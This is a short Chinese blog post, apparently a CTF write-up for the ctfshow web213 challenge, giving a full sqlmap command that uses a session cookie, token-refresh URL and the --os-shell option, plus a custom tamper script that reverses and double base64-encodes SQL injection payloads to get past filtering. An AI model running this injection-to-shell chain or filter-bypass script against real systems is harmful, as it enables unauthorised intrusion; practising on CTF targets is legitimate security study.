当前位置:网站首页>CTFSHOW_WEB入门web213
CTFSHOW_WEB入门web213
2022-08-08 22:35:00 【专注web0年】
查了弄了好久才弄出来,PHPSESSID在F12储存里面找
python sqlmap.py -u http://ae405082-b410-4aef-9ff4-93d5631e06e0.challenge.ctf.show:8080/api/index.php --data="id=1" --cookie="PHPSESSID=q7paa155b5kunkr92grnsmn3rb" --method=PUT --user-agent=sqlmap --header=Content-Type:text/plain --safe-url="http://ae405082-b410-4aef-9ff4-93d5631e06e0.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=ctfshowweb213.py -D ctfshow_web --referer=ctf.show --os-shell
下面是ctfshowweb213.py
#!/usr/bin/env python
""" Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """
import base64
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace("-- -", "#")
retVal = retVal.replace(" ",chr(0x0a))
retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal
其他具体操作见下图
边栏推荐
- ArcPy图斑编号-根据字段长度自动补齐
- 17 [2D conversion 3D conversion browser private prefix]
- 编程需要无畏感
- PHP7.2开发物流自动拣货机流程
- How is the commission for online account opening reduced?Is it safe to open an account with an online account manager?
- 生活中无处不在的MPLS虚拟专用网
- SublimeText 3清凉编辑器php开发自定义颜色文字主题配置加汉化
- IMConversation 或 IMUser 类型数据
- Liquor Daily Question ---- Find the nth Fibonacci number
- 4399IT运维实习生面试经历
猜你喜欢
随机推荐
目标跟踪实战deepsort+yolov5(上)
Unity ScrollView无限循环左右滑动翻页带阻尼效果
internship:一般的原有项目功能优化的具体步骤
SublimeText 3清凉编辑器php开发自定义颜色文字主题配置加汉化
scala排序,sort,sorted,sortBy,sortWith
2020-03-09
Unity Text三重渐变色
ALIPAY WEB 登陆rsa加密 分析记录
Xcode creates a Dylib plugin deb project
炒股开户去哪里办理,网上客户经理开户安全吗
2020-03-09
How is the commission for online account opening reduced?Is it safe to open an account with an online account manager?
MySQL query problem?
你需要来自XXX的权限才能对此文件夹进行更改
深耕“有效私域”,雀巢集团携手腾讯重塑零售数字化体验
CrossFormer: A Versatile Vision Transformer -based on Cross - Scale Transformer paper and code parsing
Shell脚本学习笔记
浅析WLAN——无线局域网
九大内置对象四大域
即时聊天系统中群组和好友关系Mysql数据表设计